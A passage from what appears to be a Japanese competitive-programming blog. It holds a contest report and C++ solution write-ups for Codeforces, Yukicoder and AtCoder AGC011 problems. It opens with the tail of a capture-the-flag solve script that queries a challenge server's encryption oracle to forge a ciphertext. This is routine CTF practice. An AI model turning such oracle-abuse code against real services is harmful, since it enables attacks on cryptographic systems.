        p.sendline(str(r))
        p.recvuntil('c: ')
        return int(p.recvall())

e = encrypt(1, 1)
n = e - 1
m = bytes_to_long('easyctf{3ncrypt_m3!}')
c = pow(e, m, n**2)
print(c)

RCO presents 日本橋ハーフマラソン 本戦: 参加記

,

http://rco-contest-2017-final-open.contest.atcoder.jp/

$24$位。順位は微妙だったが、このハーフマラソンの形式は好き。

A問題

誤読。 change iで容量$C_i$が再設定されるのに気付いてなかったのでだめ。 $1$位の点数が異常だなあと眺めていたが、そうではなかった。

B問題

こちらは単純に頭が付いてなかった。 ちゃんと考察してから実装するべきだった。random walkをベースにすればよいようだったが、もう少しルールベースなものを考えて失敗していた。

visualizerが付いており眺めていて楽しい。 すごく見栄えがする。

以下ふたつは終了後に実装されたもの。

賞金逃した。後輩氏は取ってた。

懇親会では🍕と🍗を食べつつ、浮いてたプロジェクタにvisualizerを映したりして遊んでいた。Typing Warが始まったりもした。 当然のように500打/分な人ばかりの中で私は最高でも360打/分なので人権が薄かった。

会場到達など

自費で前泊して遊んでいたので今回は遅刻しなかった。(寝すぎてホテルの人に起こされはした。) 人と黙々と0CTFをしたり、電気ブランを飲んだりしていた。サーバルちゃんを見に行こうともしたのだが、人が多すぎたので門の前で諦めてしまった。

後ろは泊らなかったので懇親会はわずかに早退した。 $9$時$23$分の新幹線に乗ったら、新幹線を降りた後の終電逃した。


Codeforces Round #395 (Div. 1): E. Timofey and our friends animals

,

http://codeforces.com/contest/763/problem/E

problem

単純グラフ$G$が与えられる。 次のようなクエリが$Q$個与えられるので処理せよ。

  • 頂点を番号$[l, r)$のものだけに制限してできる部分グラフ$H_{[l, r)} \subseteq G$の連結成分の数を答えよ。

ただし$G$の頂点$u, v$間に辺があるのは$|u - v| \le K \le 5$のときだけである。

solution

union-find木 + 平方分割 + 永続化。計算量は$O(N \alpha + M + Q \sqrt{N} K \alpha)$のような感じ。

愚直にやるにはunion-find木だが、クエリ毎に$M$回併合していると間に合わない。

ほとんど直線状のグラフである。$\sqrt{N}$個のchunksに平方分割できる。 union-find木を用意し、同じchunkに入る辺は先に張っておく。 経路圧縮も全てしておき、この状態$X$を保存しておく。 破壊的に処理した後この状態$X$を$O(\sqrt{N} K)$程度の計算量で復元できれば、クエリごとにunion-find木の残りの部分を単に処理して答えを出すだけである。

union-find木の永続化には複数可能性がある。 例えば永続配列によるもの。 今回は部分永続性だけでよいので単純なundoができればよい。 特に今回は同じ位置への操作回数が少ない(高々$O(\sqrt{N}K)$回)ので、内部の配列への書き込みの履歴を持っておいて復元の際はそれを書き戻していけば十分となる。 unordered_map等で上に一層被せるやつだと定数倍により間に合わない。

implementation

#include <cstdio>
#include <vector>
#include <stack>
#include <cmath>
#include <tuple>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
using namespace std;

struct disjoint_sets {
    vector<int> data;
    disjoint_sets() = default;
    explicit disjoint_sets(size_t n) : data(n, -1) {}
    bool is_root(int i) { return data[i] < 0; }
    int find_root(int i) { return is_root(i) ? i : (data[i] = find_root(data[i])); }
    int set_size(int i) { return - data[find_root(i)]; }
    int union_sets(int i, int j) {
        i = find_root(i); j = find_root(j);
        if (i != j) {
            if (set_size(i) < set_size(j)) swap(i,j);
            data[i] += data[j];
            data[j] = i;
        }
        return i;
    }
    bool is_same(int i, int j) { return find_root(i) == find_root(j); }
};

struct wrapped_disjoint_sets {
    vector<int> a_data;
    stack<pair<int, int> > modified;
    explicit wrapped_disjoint_sets(disjoint_sets const & a_original) : a_data(a_original.data) {}
    int data(int i) {
        return a_data[i];
    }
    void data_set(int i, int j) {
        if (data(i) != j) {
            modified.emplace(i, a_data[i]);
            a_data[i] = j;
        }
    }
    void reset() {
        while (not modified.empty()) {
            int i, value; tie(i, value) = modified.top(); modified.pop();
            a_data[i] = value;
        }
    }
    bool is_root(int i) { return data(i) < 0; }
    int find_root(int i) { return is_root(i) ? i : find_root(data(i)); }
    int set_size(int i) { return - data(find_root(i)); }
    int union_sets(int i, int j) {
        i = find_root(i); j = find_root(j);
        if (i != j) {
            if (set_size(i) < set_size(j)) swap(i,j);
            data_set(i, data(i) + data(j));
            data_set(j, i);
        }
        return i;
    }
    bool is_same(int i, int j) { return find_root(i) == find_root(j); }
};

int main() {
    int n, k, m; scanf("%d%d%d", &n, &k, &m);
    disjoint_sets splitted_ds(n);
    constexpr int bucket_width = 512; // fastest -- mod is unnecessary and appropriate size
    int bucket_count = ceil(n /(double) bucket_width);
    vector<vector<int> > edges(n);
    repeat (i,m) {
        int u, v; scanf("%d%d", &u, &v); -- u; -- v;
        if (u > v) swap(u, v);
        edges[u].push_back(v);
        int uj = u / bucket_width;
        int vj = v / bucket_width;
        if (uj == vj) {
            splitted_ds.union_sets(u, v);
        }
    }
    vector<int> cnts(bucket_count);
    repeat (i,n) {
        splitted_ds.find_root(i); // compress
        if (splitted_ds.is_root(i)) {
            int j = i / bucket_width;
            ++ cnts[j];
        }
    }
    wrapped_disjoint_sets wrapped_ds(splitted_ds);
    int q; scanf("%d", &q);
    while (q --) {
        int l, r; scanf("%d%d", &l, &r); -- l;
        int lj = l / bucket_width;
        int rj = r / bucket_width;
        wrapped_ds.reset();
        int cnt = 0;
        { // init
            int i = l;
            for (; i < r and i / bucket_width == lj; ++ i) {
                wrapped_ds.data_set(i, -1);
                ++ cnt;
            }
            for (; i / bucket_width < rj; i += bucket_width) {
                cnt += cnts[i / bucket_width];
            }
            for (; i < r; ++ i) {
                wrapped_ds.data_set(i, -1);
                ++ cnt;
            }
        }
        { // union
            int i = l;
            for (; i < r and i / bucket_width == lj; ++ i) {
                for (int j : edges[i]) if (j < r) {
                    if (not wrapped_ds.is_same(i, j)) {
                        wrapped_ds.union_sets(i, j);
                        -- cnt;
                    }
                }
            }
            for (; i / bucket_width < rj; i += bucket_width) {
                for (int di = bucket_width - k; di < bucket_width; ++ di) {
                    for (int j : edges[i+di]) if (j < r) {
                        if (not wrapped_ds.is_same(i+di, j)) {
                            wrapped_ds.union_sets(i+di, j);
                            -- cnt;
                        }
                    }
                }
            }
            for (; i < r; ++ i) {
                for (int j : edges[i]) if (j < r) {
                    if (not wrapped_ds.is_same(i, j)) {
                        wrapped_ds.union_sets(i, j);
                        -- cnt;
                    }
                }
            }
        }
        printf("%d\n", cnt);
    }
    return 0;
}

Yukicoder No.202 1円玉投げ

,

http://yukicoder.me/problems/no/202

_mm_mullo_epi32を知らず_mm_mul_epi32と書いててWAで苦しんだ。 積は幅が倍になるのでmul mullo mulhiと$3$種ある。言われてみれば当然。

手元でclangの最適化全マシなら無修正の愚直コードが余裕で通る速度になるが、yukicoderはgccだけなので頑張る必要があった。

solution

愚直 + 定数倍高速化。$O(N)$。

SSEで書き直すだけで通る。速度は$3,4$倍ぐらいになる。 threadでの並列でもよいかもしれない。

implementation

http://yukicoder.me/submissions/157852

#pragma GCC optimize "O3"
#pragma GCC target "tune=native"
#pragma GCC target "avx"
#include <cstdio>
#include <algorithm>
#include <immintrin.h>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
using namespace std;
template <class T> inline T sq(T x) { return x*x; }
constexpr int max_n = 100000;
constexpr int r = 10;
__attribute__((aligned(32))) int32_t x[max_n];
__attribute__((aligned(32))) int32_t y[max_n];
__attribute__((aligned(32))) int32_t z[max_n]; // is_removed
int main() {
    int n; scanf("%d", &n);
    repeat (i,n) scanf("%d%d", &x[i], &y[i]);
    int i = 0;
    for (; i+3 < n; i += 4) {
        const __m128i xi = _mm_load_si128((__m128i *)(x + i));
        const __m128i yi = _mm_load_si128((__m128i *)(y + i));
        __m128i zi = _mm_setzero_si128();
        repeat (j,i) {
            __m128i xj = _mm_set1_epi32(x[j]);
            __m128i yj = _mm_set1_epi32(y[j]);
            __m128i zj = _mm_set1_epi32(not z[j]);
            xj = _mm_sub_epi32(xj, xi);
            yj = _mm_sub_epi32(yj, yi);
            xj = _mm_mullo_epi32(xj, xj);
            yj = _mm_mullo_epi32(yj, yj);
            const __m128i d = _mm_add_epi32(xj, yj);
            const __m128i e = _mm_set1_epi32(sq(r + r));
            __m128i cmp = _mm_cmplt_epi32(d, e);
            zi = _mm_add_epi32(zi, _mm_mullo_epi32(cmp, zj));
        }
        _mm_store_si128((__m128i *)(z + i), zi);
        repeat (di, 4) {
            if (z[i+di]) {
                z[i+di] = 1;
            } else {
                repeat (dj, di) {
                    if (not z[i+dj] and sq(x[i+dj] - x[i+di]) + sq(y[i+dj] - y[i+di]) < sq(r + r) ) {
                        z[i+di] = 1;
                        break;
                    }
                }
            }
        }
    }
    for (; i < n; ++ i) {
        repeat (j,i) {
            if (not z[j] and sq(x[j] - x[i]) + sq(y[j] - y[i]) < sq(r + r) ) {
                z[i] = 1;
                break;
            }
        }
    }
    int cnt = count(z, z + n, 0);
    printf("%d\n", cnt);
    return 0;
}

AtCoder Grand Contest 011: E - Increasing Numbers

,

http://agc011.contest.atcoder.jp/tasks/agc011_e

解説を見てそのまま書いた。 pythonでやると入力取って$9$の乗算1回に$1.5$秒ぐらいで基数変換が走っててだめそうだった。なのでc++した。 他の人の提出を見るとみな全て融合させてるのか陽に多倍長整数演算してる人は見つからなかった。

solution

数式を整理して二分探索。$L = \log_{10} N$に対し$O(L \log L)$。

任意の増加的な数は高々$9$個のrepunitsの和で表わせる。 隣り合う桁ごとの差分の総和は(先頭には無限に0があるとして)高々$9$であり、$r$回の増加をひとつひとつに分解すると$r$個のrepunitsになるため。 imos法っぽい。 逆に、高々$9$個のrepunitsの和は増加的であるのも言える。 よって高々$9k$個のrepunitsで$N$を表現できる$k$で最小のものが答え。

任意のrepunitは$\frac{10^r - 1}{9}$と表わせる。 これは$\underbrace{111 \dots 1}_r = \sum_{i \lt r} 10^i = \frac{10^r - 1}{10 - 1}$とすれば式変形でも出る。 $r = 0$を含む。 $9k$個以下のrepunitsの和で$N$が表現できるとは、$N = \sum_{i \lt 9k} \frac{10^{r_i} - 1}{9}$な$r_i$が存在すること。 $\sum_{i \lt 9k} 10^{r_i} = 9N + 9k$と変形できるので、この存在性は$9N + 9k$の各桁の和が$9k$以下であるかどうかで分かる。

これで$k$を二分探索すればよい。 二分探索の上限$R$は桁数$L = \lfloor \log_{10} N \rfloor + 1$ぐらいあればよい。 以下のようにする。 $\sum_{i \lt 9k} 10^{r_i} = 9N + 9k$として$\sum_{i \lt 9k} r_i \le 9k$を成り立たせることを考える。 $k \ll N$から$9N + 9k \approx 9N$のため不等式左辺は高々$9 \log_{10} 9N$。 よって$\log_{10} 9N \le k$ならよくて、これは$\log_{10} 9 = 0.954\dots$なので$\log_{10} 9N \approx L$。

implementation

#include <iostream>
#include <vector>
#include <numeric>
#include <cassert>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
#define whole(f,x,...) ([&](decltype((x)) whole) { return (f)(begin(whole), end(whole), ## __VA_ARGS__); })(x)
using namespace std;
vector<int8_t> encode(string const & x) {
    int n = x.size();
    vector<int8_t> y(n);
    repeat (i,n) y[n-i-1] = x[i] - '0';
    return y;
}
vector<int8_t> encode(int x) {
    vector<int8_t> y;
    while (x) {
        y.push_back(x % 10);
        x /= 10;
    }
    return y;
}
void normalize(vector<int8_t> & x) {
    int n = x.size();
    repeat (i,n) {
        while (x[i] < 0) {
            assert (i+1 != n);
            x[i+1] -= 1;
            x[i] += 10;
        }
        while (10 <= x[i]) {
            assert (i+1 != n);
            x[i+1] += 1;
            x[i] -= 10;
        }
    }
    while (not x.empty() and x.back() == 0) x.pop_back();
}
vector<int8_t> add(vector<int8_t> const & x, vector<int8_t> const & y) {
    int n = max(x.size(), y.size());
    vector<int8_t> z(n);
    repeat (i, x.size()) z[i] += x[i];
    repeat (i, y.size()) z[i] += y[i];
    normalize(z);
    return z;
}
vector<int8_t> mul(vector<int8_t> const & x, int8_t k) {
    int n = x.size();
    vector<int8_t> y(n+1);
    repeat (i,n) {
        y[i+1] += x[i] * k / 10;
        y[i  ] += x[i] * k % 10;
    }
    normalize(y);
    return y;
}
bool pred(vector<int8_t> const & n, int k) {
    vector<int8_t> a = mul(add(n, encode(k)), 9);
    return whole(accumulate, a, 0) <= 9 * k;
}
int main() {
    string s; cin >> s;
    vector<int8_t> n = encode(s);
    int l = 0;
    int r = 9 * s.size();
    while (r - l > 1) {
        int m = (l + r) / 2;
        (pred(n, m) ? r : l) = m;
    }
    cout << r << endl;
    return 0;
}

AtCoder Grand Contest 011: C - Squared Graph

,

http://agc011.contest.atcoder.jp/tasks/agc011_c

Dを優先してほぼ手を付けなかったが、解けていてもよい問題だった。

solution

連結成分への分解と奇閉路の検出をして、その数を元に計算。$O(N + M)$。

元のグラフ上で互いに到達不能な頂点同士は、積グラフ上でも互いに到達不能な頂点群を生む。 よって、元のグラフを連結成分に分解してその対ごとに考えてよい。 次のように問題を読み替えられる: 連結グラフ$G_i$ ($0 \le i \lt k$)が与えられるので、各$(i, j)$について積グラフ$G_i \times G_j$の頂点数を数え、その総和を答えよ。

連結グラフ$G, H$をとる。 $G, H, G \times H$の頂点数をそれぞれ$x, y, z$とする。 $x = 1$または$y = 1$である場合は辺が$1$本も生まれないので $z = xy$。 それ以外の場合では、$G, H$は共に連結なので$z \in \{ 1, 2 \}$になる。 $x = y = 2$の場合の積グラフが縦横に並ぶものと考えればそうなる。 ここで$z = 1$となるのは$G, H$のどちらかが奇閉路を持つとき。 つまり、それぞれのグラフを以下のように分類すれば十分:

  1. $|V| = 1$
  2. $|V| \ge 2$ かつ 奇閉路がない
  3. $|V| \ge 2$ かつ 奇閉路がある

奇閉路の存在は二部グラフ性と同値なので、連結成分への分解の際にまとめてやるとよい。

implementation

#include <iostream>
#include <vector>
#include <queue>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
using ll = long long;
using namespace std;
int main() {
    // input
    int n, m; cin >> n >> m;
    vector<vector<int> > g(n);
    repeat (i,m) {
        int u, v; cin >> u >> v; -- u; -- v;
        g[u].push_back(v);
        g[v].push_back(u);
    }
    // decompose
    int a_components = 0, a_nodes = 0; // connected graph: |V|  = 1
    int b_components = 0, b_nodes = 0; // connected graph: |V| >= 2 and no odd cyles
    int c_components = 0, c_nodes = 0; // connected graph: |V| >= 2 and odd cycles exist
    vector<char> used(n);
    repeat (root,n) if (not used[root]) {
        bool is_bipartite = true;
        int size = 0;
        queue<int> que;
        que.push(root);
        used[root] = 'A';
        while (not que.empty()) {
            int i = que.front(); que.pop();
            ++ size;
            for (int j : g[i]) {
                if (used[j]) {
                    if (used[i] == used[j]) is_bipartite = false;
                } else {
                    used[j] = (used[i] == 'A' ? 'B' : 'A');
                    que.push(j);
                }
            }
        }
        if (size == 1) {
            ++ a_components; a_nodes += size;
        } else if (is_bipartite) {
            ++ b_components; b_nodes += size;
        } else {
            ++ c_components; c_nodes += size;
        }
    }
    // calculate
    ll ans = 0;
    ans += a_nodes *(ll) a_nodes; // A A
    ans += 2 * a_nodes *(ll) b_nodes; // A B ; B A
    ans += 2 * a_nodes *(ll) c_nodes; // A C ; C A
    ans += b_components *(ll) b_components * 2; // B B
    ans += 2 * b_components *(ll) c_components; // B C ; C B
    ans += c_components *(ll) c_components; // C C
    // output
    cout << ans << endl;
    return 0;
}

AtCoder Grand Contest 011: D - Half Reflector

,

http://agc011.contest.atcoder.jp/tasks/agc011_d

$N = 2 \times 10^5$かつ$K = 10^9$で$O(NK)$が通るの楽しい。

solution

実験して規則性。定数倍がとても軽い$O(NK)$、あるいはまじめに書いて$O(N)$。

観察により以下が分かる。これを元に適当に書けばよい。

  • 末尾のBAは無視できる
  • 先頭がAなら、先頭がBになるだけ
  • 先頭がBなら、A Bが反転しひとつ左にずれる (rotateなので末尾にはA)
    • 例: BAAABBAAABABABA $\to$ BBBAABBBABABABA
  • $N$が偶数なら、最終的に変化しなくなる
  • $N$が奇数なら、最終的に先頭がABの間で振動する

implementation

AVX命令 vmovupsが吐かれた。sizeof(bool)は$1$になってるようなので$32$倍速か。

#include <cstdio>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
using namespace std;
constexpr size_t max_n = 200000;
bool a[max_n+1];
int main() {
    int n, k; scanf("%d%d", &n, &k);
    repeat (i,n) { char c; scanf(" %c", &c); a[i] = (c == 'A'); }
    int m = n;
    a[m] = false;
    while (k --) {
        if (a[0]) {
            a[0] = false;
        } else {
            repeat (i,m) a[i] = not a[i+1];
        }
        while (2 <= m and not a[m-2] and a[m-1]) m -= 2;
        if (m == 0) break;
        if (m == 1) k %= 2;
    }
    repeat (i,n) printf("%c", a[i] ? 'A' : 'B');
    printf("\n");
    return 0;
}